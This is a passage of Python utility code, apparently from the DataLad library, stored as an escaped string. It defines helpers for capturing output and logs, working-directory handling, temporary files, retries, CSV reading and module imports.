StringIO which lacks .fileno.\\n\\n print mocking is necessary for some uses where sys.stdout was already bound\\n to original sys.stdout, thus mocking it later had no effect. Overriding\\n print function had desired effect\\n \\\"\\\"\\\"\\n\\n def fake_print(*args: str, sep: str = ' ', end: str = \\\"\\\\n\\\", file: Optional[IO[str]] = None) -> None:\\n if file is None:\\n file = sys.stdout\\n\\n if file in (oldout, olderr, sys.stdout, sys.stderr):\\n # we mock\\n try:\\n sys.stdout.write(sep.join(args) + end)\\n except UnicodeEncodeError as exc:\\n lgr.error(\\n \\\"Failed to write to mocked stdout, got %s, continue as it \\\"\\n \\\"didn't happen\\\", exc)\\n else:\\n # must be some other file one -- leave it alone\\n oldprint(*args, sep=sep, end=end, file=file)\\n\\n from .ui import ui\\n\\n # preserve -- they could have been mocked already\\n oldprint = getattr(builtins, 'print')\\n oldout, olderr = sys.stdout, sys.stderr\\n olduiout = ui.out\\n adapter = SwallowOutputsAdapter()\\n\\n try:\\n sys.stdout, sys.stderr = adapter.handles\\n ui.out = adapter.handles[0]\\n setattr(builtins, 'print', fake_print)\\n\\n yield adapter\\n finally:\\n sys.stdout, sys.stderr, ui.out = oldout, olderr, olduiout\\n setattr(builtins, 'print', oldprint)\\n adapter.cleanup()\\n\\n\\n# Let's log everything into a string\\n# TODO: generalize with the one for swallow_outputs\\nclass SwallowLogsAdapter:\\n \\\"\\\"\\\"Little adapter to help getting out values\\n\\n And to stay consistent with how swallow_outputs behaves\\n \\\"\\\"\\\"\\n def __init__(self, file_: str | Path | None) -> None:\\n self._out: IO[str]\\n if file_ is None:\\n kw = get_tempfile_kwargs({}, prefix=\\\"logs\\\")\\n self._out = NamedTemporaryFile(mode='a', delete=False, **kw)\\n else:\\n out_file = file_\\n # PY3 requires clearly one or another. race condition possible\\n self._out = open(out_file, 'a')\\n self.file = file_\\n self._final_out: Optional[str] = None\\n\\n def _read(self, h: IO[str]) -> str:\\n with open(h.name) as f:\\n return f.read()\\n\\n @property\\n def out(self) -> str:\\n if self._final_out is not None:\\n # we closed and cleaned up already\\n return self._final_out\\n else:\\n self._out.flush()\\n return self._read(self._out)\\n\\n @property\\n def lines(self) -> list[str]:\\n return self.out.split('\\\\n')\\n\\n @property\\n def handle(self) -> IO[str]:\\n return self._out\\n\\n def cleanup(self) -> None:\\n # store for access while object exists\\n self._final_out = self.out\\n self._out.close()\\n out_name = self._out.name\\n del self._out\\n gc.collect()\\n if not self.file:\\n rmtemp(out_name)\\n\\n def assert_logged(self, msg: Optional[str]=None, level: Optional[str]=None, regex: bool =True, **kwargs: Any) -> None:\\n \\\"\\\"\\\"Provide assertion on whether a msg was logged at a given level\\n\\n If neither `msg` nor `level` provided, checks if anything was logged\\n at all.\\n\\n Parameters\\n ----------\\n msg: str, optional\\n Message (as a regular expression, if `regex`) to be searched.\\n If no msg provided, checks if anything was logged at a given level.\\n level: str, optional\\n String representing the level to be logged\\n regex: bool, optional\\n If False, regular `assert_in` is used\\n **kwargs: str, optional\\n Passed to `assert_re_in` or `assert_in`\\n \\\"\\\"\\\"\\n from datalad.tests.utils_pytest import (\\n assert_in,\\n assert_re_in,\\n )\\n\\n if regex:\\n match = r'\\\\[%s\\\\] ' % level if level else r\\\"\\\\[\\\\S+\\\\] \\\"\\n else:\\n match = '[%s] ' % level if level else ''\\n\\n if msg:\\n match += msg\\n\\n if match:\\n (assert_re_in if regex else assert_in)(match, self.out, **kwargs)\\n else:\\n assert not kwargs, \\\"no kwargs to be passed anywhere\\\"\\n assert self.out, \\\"Nothing was logged!?\\\"\\n\\n\\n@contextmanager\\ndef swallow_logs(new_level: str | int | None = None, file_ : str | Path | None = None, name: str='datalad') -> Iterator[SwallowLogsAdapter]:\\n \\\"\\\"\\\"Context manager to consume all logs.\\\"\\\"\\\"\\n lgr = logging.getLogger(name)\\n\\n # Keep old settings\\n old_level = lgr.level\\n old_handlers = lgr.handlers\\n\\n adapter = SwallowLogsAdapter(file_)\\n # TODO: it does store messages but without any formatting, i.e. even without\\n # date/time prefix etc. IMHO it should preserve formatting in case if file_ is\\n # set\\n swallow_handler = logging.StreamHandler(adapter.handle)\\n # we want to log levelname so we could test against it\\n swallow_handler.setFormatter(\\n logging.Formatter('[%(levelname)s] %(message)s'))\\n swallow_handler.filters = sum([h.filters for h in old_handlers],\\n [])\\n lgr.handlers = [swallow_handler]\\n if old_level < logging.DEBUG: # so if HEAVYDEBUG etc -- show them!\\n lgr.handlers += old_handlers\\n\\n if isinstance(new_level, str):\\n new_level = getattr(logging, new_level)\\n\\n if new_level is not None:\\n lgr.setLevel(new_level)\\n\\n try:\\n yield adapter\\n # TODO: if file_ and there was an exception -- most probably worth logging it?\\n # although ideally it should be the next log outside added to that file_ ... oh well\\n finally:\\n lgr.handlers = old_handlers\\n lgr.setLevel(old_level)\\n adapter.cleanup()\\n\\n\\n# TODO: May be melt in with swallow_logs at some point:\\n@contextmanager\\ndef disable_logger(logger: Optional[logging.Logger]=None) -> Iterator[logging.Logger]:\\n \\\"\\\"\\\"context manager to temporarily disable logging\\n\\n This is to provide one of swallow_logs' purposes without unnecessarily\\n creating temp files (see gh-1865)\\n\\n Parameters\\n ----------\\n logger: Logger\\n Logger whose handlers will be ordered to not log anything.\\n Default: datalad's topmost Logger ('datalad')\\n \\\"\\\"\\\"\\n\\n class NullFilter(logging.Filter):\\n \\\"\\\"\\\"Filter class to reject all records\\n \\\"\\\"\\\"\\n def filter(self, record: logging.LogRecord) -> bool:\\n return False\\n\\n if logger is None:\\n # default: all of datalad's logging:\\n logger = logging.getLogger('datalad')\\n\\n filter_ = NullFilter(logger.name)\\n for h in logger.handlers:\\n h.addFilter(filter_)\\n\\n try:\\n yield logger\\n finally:\\n for h in logger.handlers:\\n h.removeFilter(filter_)\\n\\n\\n@contextmanager\\ndef lock_if_required(lock_required: bool, lock: threading.Lock) -> Iterator[threading.Lock]:\\n \\\"\\\"\\\" Acquired and released the provided lock if indicated by a flag\\\"\\\"\\\"\\n if lock_required:\\n lock.acquire()\\n try:\\n yield lock\\n finally:\\n if lock_required:\\n lock.release()\\n\\n\\n#\\n# Additional handlers\\n#\\ndef ensure_dir(*args: str) -> str:\\n \\\"\\\"\\\"Make sure directory exists.\\n\\n Joins the list of arguments to an os-specific path to the desired\\n directory and creates it, if it not exists yet.\\n \\\"\\\"\\\"\\n dirname = op.join(*args)\\n if not exists(dirname):\\n os.makedirs(dirname)\\n return dirname\\n\\n\\ndef updated(d: dict[K, V], update: dict[K, V]) -> dict[K, V]:\\n \\\"\\\"\\\"Return a copy of the input with the 'update'\\n\\n Primarily for updating dictionaries\\n \\\"\\\"\\\"\\n d = d.copy()\\n d.update(update)\\n return d\\n\\n\\n_pwd_mode: Optional[str] = None\\n\\n\\ndef _switch_to_getcwd(msg: str, *args: Any) -> None:\\n global _pwd_mode\\n _pwd_mode = 'cwd'\\n lgr.debug(\\n msg + \\\". From now on will be returning os.getcwd(). Directory\\\"\\n \\\" symlinks in the paths will be resolved\\\",\\n *args\\n )\\n # TODO: we might want to mitigate by going through all flywheighted\\n # repos and tuning up their .paths to be resolved?\\n\\n\\ndef getpwd() -> str:\\n \\\"\\\"\\\"Try to return a CWD without dereferencing possible symlinks\\n\\n This function will try to use PWD environment variable to provide a current\\n working directory, possibly with some directories along the path being\\n symlinks to other directories. Unfortunately, PWD is used/set only by the\\n shell and such functions as `os.chdir` and `os.getcwd` nohow use or modify\\n it, thus `os.getcwd()` returns path with links dereferenced.\\n\\n While returning current working directory based on PWD env variable we\\n verify that the directory is the same as `os.getcwd()` after resolving all\\n symlinks. If that verification fails, we fall back to always use\\n `os.getcwd()`.\\n\\n Initial decision to either use PWD env variable or os.getcwd() is done upon\\n the first call of this function.\\n \\\"\\\"\\\"\\n global _pwd_mode\\n if _pwd_mode is None:\\n # we need to decide!\\n try:\\n pwd = os.environ['PWD']\\n if on_windows and pwd and pwd.startswith('/'):\\n # It should be a path from MSYS.\\n # - it might start with a drive letter or not\\n # - it seems to be \\\"illegal\\\" to have a single letter directories\\n # under / path, i.e. if created - they aren't found\\n # - 'ln -s' does not fail to create a \\\"symlink\\\" but it just\\n # copies!\\n # so we are not likely to need original PWD purpose on\\n # those systems\\n # Verdict:\\n _pwd_mode = 'cwd'\\n else:\\n _pwd_mode = 'PWD'\\n except KeyError:\\n _pwd_mode = 'cwd'\\n\\n if _pwd_mode == 'cwd':\\n return os.getcwd()\\n elif _pwd_mode == 'PWD':\\n try:\\n cwd = os.getcwd()\\n except OSError as exc:\\n if \\\"o such file\\\" in str(exc):\\n # directory was removed but we promised to be robust and\\n # still report the path we might know since we are still in PWD\\n # mode\\n cwd = None\\n else:\\n raise\\n try:\\n pwd = os.environ['PWD']\\n # do absolute() in addition to always get an absolute path\\n # even with non-existing paths on windows\\n pwd_real = str(Path(pwd).resolve().absolute())\\n # This logic would fail to catch the case where chdir did happen\\n # to the directory where current PWD is pointing to, e.g.\\n # $> ls -ld $PWD\\n # lrwxrwxrwx 1 yoh yoh 5 Oct 11 13:27 /home/yoh/.tmp/tmp -> /tmp//\\n # hopa:~/.tmp/tmp\\n # $> python -c 'import os; os.chdir(\\\"/tmp\\\"); from datalad.utils import getpwd; print(getpwd(), os.getcwd())'\\n # ('/home/yoh/.tmp/tmp', '/tmp')\\n # but I guess that should not be too harmful\\n if cwd is not None and pwd_real != cwd:\\n _switch_to_getcwd(\\n \\\"realpath of PWD=%s is %s whenever os.getcwd()=%s\\\",\\n pwd, pwd_real, cwd\\n )\\n return cwd\\n return pwd\\n except KeyError:\\n _switch_to_getcwd(\\\"PWD env variable is no longer available\\\")\\n if cwd is not None:\\n return cwd # Must not happen, but may be someone\\n # evil purges PWD from environ?\\n raise RuntimeError(\\n \\\"Must have not got here. \\\"\\n \\\"pwd_mode must be either cwd or PWD. And it is now %r\\\" % (_pwd_mode,)\\n )\\n\\n\\nclass chpwd:\\n \\\"\\\"\\\"Wrapper around os.chdir which also adjusts environ['PWD']\\n\\n The reason is that otherwise PWD is simply inherited from the shell\\n and we have no ability to assess directory path without dereferencing\\n symlinks.\\n\\n If used as a context manager it allows to temporarily change directory\\n to the given path\\n \\\"\\\"\\\"\\n def __init__(self, path: str | Path | None, mkdir: bool=False, logsuffix: str='') -> None:\\n\\n self._prev_pwd: Optional[str]\\n if path:\\n pwd = getpwd()\\n self._prev_pwd = pwd\\n else:\\n self._prev_pwd = None\\n return\\n\\n if not isabs(path):\\n path = normpath(op.join(pwd, path))\\n if not os.path.exists(path) and mkdir:\\n self._mkdir = True\\n os.mkdir(path)\\n else:\\n self._mkdir = False\\n lgr.debug(\\\"chdir %r -> %r %s\\\", self._prev_pwd, path, logsuffix)\\n os.chdir(path) # for grep people -- ok, to chdir here!\\n os.environ['PWD'] = str(path)\\n\\n def __enter__(self) -> None:\\n # nothing more to do really, chdir was in the constructor\\n pass\\n\\n def __exit__(self, exc_type: Optional[type[BaseException]], exc_val: Optional[BaseException], exc_tb: Optional[TracebackType]) -> None:\\n if self._prev_pwd:\\n # Need to use self.__class__ so this instance, if the entire\\n # thing mocked during the test, still would use correct chpwd\\n self.__class__(self._prev_pwd, logsuffix=\\\"(coming back)\\\")\\n\\n\\ndef dlabspath(path: str | Path, norm: bool =False) -> str:\\n \\\"\\\"\\\"Symlinks-in-the-cwd aware abspath\\n\\n os.path.abspath relies on os.getcwd() which would not know about symlinks\\n in the path\\n\\n TODO: we might want to norm=True by default to match behavior of\\n os .path.abspath?\\n \\\"\\\"\\\"\\n if not isabs(path):\\n # if not absolute -- relative to pwd\\n path = op.join(getpwd(), path)\\n return normpath(path) if norm else str(path)\\n\\n\\ndef with_pathsep(path: str) -> str:\\n \\\"\\\"\\\"Little helper to guarantee that path ends with /\\\"\\\"\\\"\\n return path + sep if not path.endswith(sep) else path\\n\\n\\ndef get_path_prefix(path: str | Path, pwd: Optional[str]=None) -> str:\\n \\\"\\\"\\\"Get path prefix (for current directory)\\n\\n Returns relative path to the topdir, if we are under topdir, and if not\\n absolute path to topdir. If `pwd` is not specified - current directory\\n assumed\\n \\\"\\\"\\\"\\n pwd = pwd or getpwd()\\n path = dlabspath(path)\\n path_ = with_pathsep(path)\\n pwd_ = with_pathsep(pwd)\\n common = commonprefix((path_, pwd_))\\n if common.endswith(sep) and common in {path_, pwd_}:\\n # we are in subdir or above the path = use relative path\\n location_prefix = relpath(path, pwd)\\n # if benign \\\"here\\\" - cut off\\n if location_prefix in (curdir, curdir + sep):\\n location_prefix = ''\\n return location_prefix\\n else:\\n # just return absolute path\\n return path\\n\\n\\ndef _get_normalized_paths(path: str, prefix: str) -> tuple[str, str]:\\n if isabs(path) != isabs(prefix):\\n raise ValueError(\\\"Both paths must either be absolute or relative. \\\"\\n \\\"Got %r and %r\\\" % (path, prefix))\\n path = with_pathsep(path)\\n prefix = with_pathsep(prefix)\\n return path, prefix\\n\\n\\ndef path_startswith(path: str, prefix: str) -> bool:\\n \\\"\\\"\\\"Return True if path starts with prefix path\\n\\n Parameters\\n ----------\\n path: str\\n prefix: str\\n \\\"\\\"\\\"\\n path, prefix = _get_normalized_paths(path, prefix)\\n return path.startswith(prefix)\\n\\n\\ndef path_is_subpath(path: str, prefix: str) -> bool:\\n \\\"\\\"\\\"Return True if path is a subpath of prefix\\n\\n It will return False if path == prefix.\\n\\n Parameters\\n ----------\\n path: str\\n prefix: str\\n \\\"\\\"\\\"\\n path, prefix = _get_normalized_paths(path, prefix)\\n return (len(prefix) < len(path)) and path.startswith(prefix)\\n\\n\\ndef knows_annex(path: str | Path) -> bool:\\n \\\"\\\"\\\"Returns whether at a given path there is information about an annex\\n\\n It is just a thin wrapper around GitRepo.is_with_annex() classmethod\\n which also checks for `path` to exist first.\\n\\n This includes actually present annexes, but also uninitialized ones, or\\n even the presence of a remote annex branch.\\n \\\"\\\"\\\"\\n from os.path import exists\\n if not exists(path):\\n lgr.debug(\\\"No annex: test path %s doesn't exist\\\", path)\\n return False\\n from datalad.support.gitrepo import GitRepo\\n return GitRepo(path, init=False, create=False).is_with_annex()\\n\\n\\n@contextmanager\\ndef make_tempfile(content: str | bytes | None = None, wrapped: Optional[Callable[..., Any]] = None, **tkwargs: Any) -> Iterator[str]:\\n \\\"\\\"\\\"Helper class to provide a temporary file name and remove it at the end (context manager)\\n\\n Parameters\\n ----------\\n mkdir : bool, optional (default: False)\\n If True, temporary directory created using tempfile.mkdtemp()\\n content : str or bytes, optional\\n Content to be stored in the file created\\n wrapped : function, optional\\n If set, function name used to prefix temporary file name\\n `**tkwargs`:\\n All other arguments are passed into the call to tempfile.mk{,d}temp(),\\n and resultant temporary filename is passed as the first argument into\\n the function t. If no 'prefix' argument is provided, it will be\\n constructed using module and function names ('.' replaced with\\n '_').\\n\\n To change the used directory without providing keyword argument 'dir' set\\n DATALAD_TESTS_TEMP_DIR.\\n\\n Examples\\n --------\\n >>> from os.path import exists\\n >>> from datalad.utils import make_tempfile\\n >>> with make_tempfile() as fname:\\n ... k = open(fname, 'w').write('silly test')\\n >>> assert not exists(fname) # was removed\\n\\n >>> with make_tempfile(content=\\\"blah\\\") as fname:\\n ... assert open(fname).read() == \\\"blah\\\"\\n \\\"\\\"\\\"\\n\\n if tkwargs.get('mkdir', None) and content is not None:\\n raise ValueError(\\\"mkdir=True while providing content makes no sense\\\")\\n\\n tkwargs_ = get_tempfile_kwargs(tkwargs, wrapped=wrapped)\\n\\n # if DATALAD_TESTS_TEMP_DIR is set, use that as directory,\\n # let mktemp handle it otherwise. However, an explicitly provided\\n # dir=... will override this.\\n mkdir = bool(tkwargs_.pop('mkdir', False))\\n\\n filename = {False: tempfile.mktemp,\\n True: tempfile.mkdtemp}[mkdir](**tkwargs_)\\n # MIH: not clear to me why we need to perform this (possibly expensive)\\n # resolve. It was already part of the original implementation\\n # 008d9ab8cc3e0170c0a9b8479e80dee9ffe6eb7f\\n filepath = Path(filename).resolve()\\n\\n if content:\\n if isinstance(content, bytes):\\n filepath.write_bytes(content)\\n else:\\n filepath.write_text(content)\\n\\n # TODO globbing below can also be done with pathlib\\n filename = str(filepath)\\n\\n if __debug__:\\n lgr.debug(\\n 'Created temporary %s named %s',\\n 'directory' if mkdir else 'file',\\n filename)\\n try:\\n yield filename\\n finally:\\n # glob here for all files with the same name (-suffix)\\n # would be useful whenever we requested .img filename,\\n # and function creates .hdr as well\\n # MIH: this is undocumented behavior, and undesired in the general\\n # case. it should be made conditional and explicit\\n lsuffix = len(tkwargs_.get('suffix', ''))\\n filename_ = lsuffix and filename[:-lsuffix] or filename\\n filenames = glob.glob(filename_ + '*')\\n if len(filename_) < 3 or len(filenames) > 5:\\n # For paranoid yoh who stepped into this already ones ;-)\\n lgr.warning(\\\"It is unlikely that it was intended to remove all\\\"\\n \\\" files matching %r. Skipping\\\" % filename_)\\n return\\n for f in filenames:\\n try:\\n rmtemp(f)\\n except OSError: # pragma: no cover\\n pass\\n\\n\\ndef _path_(*p: str) -> str:\\n \\\"\\\"\\\"Given a path in POSIX notation, regenerate one in native to the env one\\\"\\\"\\\"\\n if on_windows:\\n return op.join(*map(lambda x: op.join(*x.split('/')), p))\\n else:\\n # Assume that all others as POSIX compliant so nothing to be done\\n return op.join(*p)\\n\\n\\ndef get_timestamp_suffix(time_: int | time.struct_time | None=None, prefix: str='-') -> str:\\n \\\"\\\"\\\"Return a time stamp (full date and time up to second)\\n\\n primarily to be used for generation of log files names\\n \\\"\\\"\\\"\\n args = []\\n if time_ is not None:\\n if isinstance(time_, int):\\n time_ = time.gmtime(time_)\\n args.append(time_)\\n return time.strftime(prefix + TIMESTAMP_FMT, *args)\\n\\n\\n# unused in -core\\ndef get_logfilename(dspath: str | Path, cmd: str='datalad') -> str:\\n \\\"\\\"\\\"Return a filename to use for logging under a dataset/repository\\n\\n directory would be created if doesn't exist, but dspath must exist\\n and be a directory\\n \\\"\\\"\\\"\\n assert(exists(dspath))\\n assert(isdir(dspath))\\n ds_logdir = ensure_dir(str(dspath), '.git', 'datalad', 'logs') # TODO: use WEB_META_LOG whenever #789 merged\\n return op.join(ds_logdir, 'crawl-%s.log' % get_timestamp_suffix())\\n\\n\\ndef get_trace(edges: Sequence[tuple[T, T]], start: T, end: T, trace: Optional[list[T]]=None) -> Optional[list[T]]:\\n \\\"\\\"\\\"Return the trace/path to reach a node in a tree.\\n\\n Parameters\\n ----------\\n edges : sequence(2-tuple)\\n The tree given by a sequence of edges (parent, child) tuples. The\\n nodes can be identified by any value and data type that supports\\n the '==' operation.\\n start :\\n Identifier of the start node. Must be present as a value in the parent\\n location of an edge tuple in order to be found.\\n end :\\n Identifier of the target/end node. Must be present as a value in the child\\n location of an edge tuple in order to be found.\\n trace : list\\n Mostly useful for recursive calls, and used internally.\\n\\n Returns\\n -------\\n None or list\\n Returns a list with the trace to the target (the starts and the target\\n are not included in the trace, hence if start and end are directly connected\\n an empty list is returned), or None when no trace to the target can be found,\\n or start and end are identical.\\n \\\"\\\"\\\"\\n # the term trace is used to avoid confusion with a path in the sense\\n # of a filesystem path, but the analogy fits and nodes can be paths\\n if trace is None:\\n trace = []\\n if not edges:\\n raise ValueError(\\\"no edges given\\\")\\n for cand in edges:\\n cand_super, cand_sub = cand\\n if cand_sub in trace:\\n # only DAGs, skip any cyclic traces\\n continue\\n if trace and cand_super != trace[-1]:\\n # only consider edges that lead off the end of the trace\\n continue\\n if not trace and cand_super != start:\\n # we got nothing yet, and this edges is not matching the start\\n continue\\n if cand_sub == end:\\n return trace\\n # dive into potential subnodes\\n cand_trace = get_trace(\\n edges,\\n start,\\n end,\\n trace + [cand_sub])\\n if cand_trace:\\n return cand_trace\\n return None\\n\\n\\ndef get_dataset_root(path: str | Path) -> Optional[str]:\\n \\\"\\\"\\\"Return the root of an existent dataset containing a given path\\n\\n The root path is returned in the same absolute or relative form\\n as the input argument. If no associated dataset exists, or the\\n input path doesn't exist, None is returned.\\n\\n If `path` is a symlink or something other than a directory, its\\n the root dataset containing its parent directory will be reported.\\n If none can be found, at a symlink at `path` is pointing to a\\n dataset, `path` itself will be reported as the root.\\n\\n Parameters\\n ----------\\n path : Path-like\\n\\n Returns\\n -------\\n str or None\\n \\\"\\\"\\\"\\n\\n # NOTE: path = \\\"\\\" is effectively \\\".\\\"\\n\\n path = str(path)\\n suffix = '.git'\\n altered = None\\n if islink(path) or not isdir(path):\\n altered = path\\n path = dirname(path)\\n apath = abspath(path)\\n # while we can still go up\\n while split(apath)[1]:\\n if exists(op.join(path, suffix)):\\n return path\\n # new test path in the format we got it\\n path = normpath(op.join(path, os.pardir))\\n # no luck, next round\\n apath = abspath(path)\\n # if we applied dirname() at the top, we give it another go with\\n # the actual path, if it was itself a symlink, it could be the\\n # top-level dataset itself\\n if altered and exists(op.join(altered, suffix)):\\n return altered\\n\\n return None\\n\\n\\n# ATM used in datalad_crawler extension, so do not remove yet\\ndef try_multiple(ntrials: int, exception: type[BaseException], base: float, f: Callable[P, T], *args: P.args, **kwargs: P.kwargs) -> T:\\n \\\"\\\"\\\"Call f multiple times making exponentially growing delay between the calls\\\"\\\"\\\"\\n for trial in range(1, ntrials+1):\\n try:\\n return f(*args, **kwargs)\\n except exception as exc:\\n if trial == ntrials:\\n raise # just reraise on the last trial\\n t = base ** trial\\n lgr.warning(\\\"Caught %s on trial #%d. Sleeping %f and retrying\\\",\\n CapturedException(exc), trial, t)\\n sleep(t)\\n raise ValueError(\\\"ntrials must be > 0\\\")\\n\\n\\n@optional_args\\ndef try_multiple_dec(\\n f: Callable[P, T],\\n ntrials: Optional[int] = None,\\n duration: float = 0.1,\\n exceptions: type[BaseException] | tuple[type[BaseException], ...] | None = None,\\n increment_type: Literal[\\\"exponential\\\"] | None = None,\\n exceptions_filter: Optional[Callable[[BaseException], Any]] = None,\\n logger: Optional[Callable] = None,\\n) -> Callable[P, T]:\\n \\\"\\\"\\\"Decorator to try function multiple times.\\n\\n Main purpose is to decorate functions dealing with removal of files/directories\\n and which might need a few seconds to work correctly on Windows which takes\\n its time to release files/directories.\\n\\n Parameters\\n ----------\\n ntrials: int, optional\\n duration: float, optional\\n Seconds to sleep before retrying.\\n increment_type: {None, 'exponential'}\\n Note that if it is exponential, duration should typically be > 1.0\\n so it grows with higher power\\n exceptions: Exception or tuple of Exceptions, optional\\n Exception or a tuple of multiple exceptions, on which to retry\\n exceptions_filter: callable, optional\\n If provided, this function will be called with a caught exception\\n instance. If function returns True - we will re-try, if False - exception\\n will be re-raised without retrying.\\n logger: callable, optional\\n Logger to log upon failure. If not provided, will use stock logger\\n at the level of 5 (heavy debug).\\n \\\"\\\"\\\"\\n # We need to bind these to new names so that mypy doesn't complain about\\n # the values possibly being `None` inside the inner function:\\n exceptions_: type[BaseException] | tuple[type[BaseException], ...]\\n if not exceptions:\\n exceptions_ = (OSError, PermissionError) if on_windows else OSError\\n else:\\n exceptions_ = exceptions\\n if not ntrials:\\n # Life goes fast on proper systems, no need to delay it much\\n ntrials_ = 100 if on_windows else 10\\n else:\\n ntrials_ = ntrials\\n if logger is None:\\n def logger_(*args: Any, **kwargs: Any) -> None:\\n return lgr.log(5, *args, **kwargs)\\n else:\\n logger_ = logger\\n assert increment_type in {None, 'exponential'}\\n\\n @wraps(f)\\n def _wrap_try_multiple_dec(*args: P.args, **kwargs: P.kwargs) -> T:\\n t = duration\\n for trial in range(ntrials_):\\n try:\\n return f(*args, **kwargs)\\n except exceptions_ as exc:\\n if exceptions_filter and not exceptions_filter(exc):\\n raise\\n if trial < ntrials_ - 1:\\n if increment_type == 'exponential':\\n t = duration ** (trial + 1)\\n logger_(\\n \\\"Caught %s on trial #%d. Sleeping %f and retrying\\\",\\n CapturedException(exc), trial, t)\\n sleep(t)\\n else:\\n raise\\n raise ValueError(\\\"ntrials must be > 0\\\")\\n\\n return _wrap_try_multiple_dec\\n\\n\\n@try_multiple_dec\\ndef unlink(f: str | Path) -> None:\\n \\\"\\\"\\\"'Robust' unlink. Would try multiple times\\n\\n On windows boxes there is evidence for a latency of more than a second\\n until a file is considered no longer \\\"in-use\\\".\\n WindowsError is not known on Linux, and if IOError or any other\\n exception\\n is thrown then if except statement has WindowsError in it -- NameError\\n also see gh-2533\\n \\\"\\\"\\\"\\n # Check for open files\\n assert_no_open_files(f)\\n return os.unlink(f)\\n\\n\\n@try_multiple_dec\\ndef _rmtree(*args: Any, **kwargs: Any) -> None:\\n \\\"\\\"\\\"Just a helper to decorate shutil.rmtree.\\n\\n rmtree defined above does more and ideally should not itself be decorated\\n since a recursive definition and does checks for open files inside etc -\\n might be too runtime expensive\\n \\\"\\\"\\\"\\n shutil.rmtree(*args, **kwargs)\\n\\n\\ndef slash_join(base: Optional[str], extension: Optional[str]) -> Optional[str]:\\n \\\"\\\"\\\"Join two strings with a '/', avoiding duplicate slashes\\n\\n If any of the strings is None the other is returned as is.\\n \\\"\\\"\\\"\\n if extension is None:\\n return base\\n if base is None:\\n return extension\\n return '/'.join(\\n (base.rstrip('/'),\\n extension.lstrip('/')))\\n\\n\\n#\\n# IO Helpers\\n#\\n\\n# unused in -core\\ndef open_r_encdetect(fname: str | Path, readahead: int=1000) -> IO[str]:\\n \\\"\\\"\\\"Return a file object in read mode with auto-detected encoding\\n\\n This is helpful when dealing with files of unknown encoding.\\n\\n Parameters\\n ----------\\n readahead: int, optional\\n How many bytes to read for guessing the encoding type. If\\n negative - full file will be read\\n \\\"\\\"\\\"\\n import io\\n\\n from chardet import detect\\n\\n # read some bytes from the file\\n with open(fname, 'rb') as f:\\n head = f.read(readahead)\\n enc = detect(head)\\n denc = enc.get('encoding', None)\\n lgr.debug(\\\"Auto-detected encoding %s for file %s (confidence: %s)\\\",\\n denc,\\n fname,\\n enc.get('confidence', 'unknown'))\\n return io.open(fname, encoding=denc)\\n\\n\\n@overload\\ndef read_file(fname: str | Path, decode: Literal[True] =True) -> str:\\n ...\\n\\n@overload\\ndef read_file(fname: str | Path, decode: Literal[False]) -> bytes:\\n ...\\n\\ndef read_file(fname: str | Path, decode: Literal[True, False] =True) -> str | bytes:\\n \\\"\\\"\\\"A helper to read file passing content via ensure_unicode\\n\\n Parameters\\n ----------\\n decode: bool, optional\\n if False, no ensure_unicode and file content returned as bytes\\n \\\"\\\"\\\"\\n with open(fname, 'rb') as f:\\n content = f.read()\\n return ensure_unicode(content) if decode else content\\n\\n\\ndef read_csv_lines(fname: str | Path, dialect: Optional[str] = None, readahead: int=16384, **kwargs: Any) -> Iterator[dict[str, str]]:\\n \\\"\\\"\\\"A generator of dict records from a CSV/TSV\\n\\n Automatically guesses the encoding for each record to convert to UTF-8\\n\\n Parameters\\n ----------\\n fname: str\\n Filename\\n dialect: str, optional\\n Dialect to specify to csv.reader. If not specified -- guessed from\\n the file, if fails to guess, \\\"excel-tab\\\" is assumed\\n readahead: int, optional\\n How many bytes to read from the file to guess the type\\n **kwargs\\n Passed to `csv.reader`\\n \\\"\\\"\\\"\\n import csv\\n csv_dialect: str | type[csv.Dialect]\\n if dialect is None:\\n with open(fname) as tsvfile:\\n # add robustness, use a sniffer\\n try:\\n csv_dialect = csv.Sniffer().sniff(tsvfile.read(readahead))\\n except Exception as exc:\\n lgr.warning(\\n 'Could not determine file-format, assuming TSV: %s',\\n CapturedException(exc)\\n )\\n csv_dialect = 'excel-tab'\\n else:\\n csv_dialect = dialect\\n\\n with open(fname, 'r', encoding=\\\"utf-8\\\") as tsvfile:\\n csv_reader = csv.reader(\\n tsvfile,\\n dialect=csv_dialect,\\n **kwargs\\n )\\n header: Optional[list[str]] = None\\n for row in csv_reader:\\n if header is None:\\n header = row\\n else:\\n yield dict(zip(header, row))\\n\\n\\ndef import_modules(modnames: Iterable[str], pkg: str, msg: str=\\\"Failed to import {module}\\\", log: Callable[[str], Any]=lgr.debug) -> list[ModuleType]:\\n \\\"\\\"\\\"Helper to import a list of modules without failing if N/A\\n\\n Parameters\\n ----------\\n modnames: list of str\\n List of module names to import\\n pkg: str\\n Package under which to import\\n msg: str, optional\\n Message template for .format() to log at DEBUG level if import fails.\\n Keys {module} and {package} will be provided and ': {exception}' appended\\n log: callable, optional\\n Logger call to use for logging messages\\n \\\"\\\"\\\"\\n from importlib import import_module\\n _globals = globals()\\n mods_loaded = []\\n if pkg and not pkg in sys.modules:\\n # with python 3.5.1 (ok with 3.5.5) somehow kept running into\\n # Failed to import dlsub1: Parent module 'dltestm1' not loaded\\n # while running the test. Preloading pkg resolved the issue\\n import_module(pkg)\\n for modname in modnames:\\n try:\\n _globals[modname] = mod = import_module(\\n '.{}'.format(modname),\\n pkg)\\n mods_loaded.append(mod)\\n except Exception as exc:\\n from datalad.support.exceptions import CapturedException\\n ce = CapturedException(exc)\\n log((msg + ': {exception}').format(\\n module=modname, package=pkg, exception=ce.message))\\n return mods_loaded\\n\\n\\ndef import_module_from_file(modpath: str, pkg: Optional[ModuleType]=None, log: Callable[[str], Any]=lgr.debug) -> ModuleType:\\n \\\"\\\"\\\"Import provided module given a path\\n\\n TODO:\\n - RF/make use of it in pipeline.py which has similar logic\\n - join with import_modules above?\\n\\n Parameters\\n ----------\\n pkg: module, optional\\n If provided, and modpath is under pkg.__path__, relative import will be\\n used\\n \\\"\\\"\\\"\\n assert(modpath.endswith('.py')) # for now just for .py files\\n\\n log(\\\"Importing %s\\\" % modpath)\\n\\n modname = basename(modpath)[:-3]\\n relmodpath = None\\n if pkg:\\n for pkgpath in pkg.__path__:\\n if path_is_subpath(modpath, pkgpath):\\n # for now relying on having .py extension -- assertion above\\n relmodpath = '.' + relpath(modpath[:-3], pkgpath).replace(sep, '.')\\n break\\n\\n try:\\n if relmodpath:\\n from importlib import import_module\\n mod = import_module(relmodpath, pkg.__name__ if pkg is not None else None)\\n else:\\n dirname_ = dirname(modpath)\\n try:\\n sys.path.insert(0, 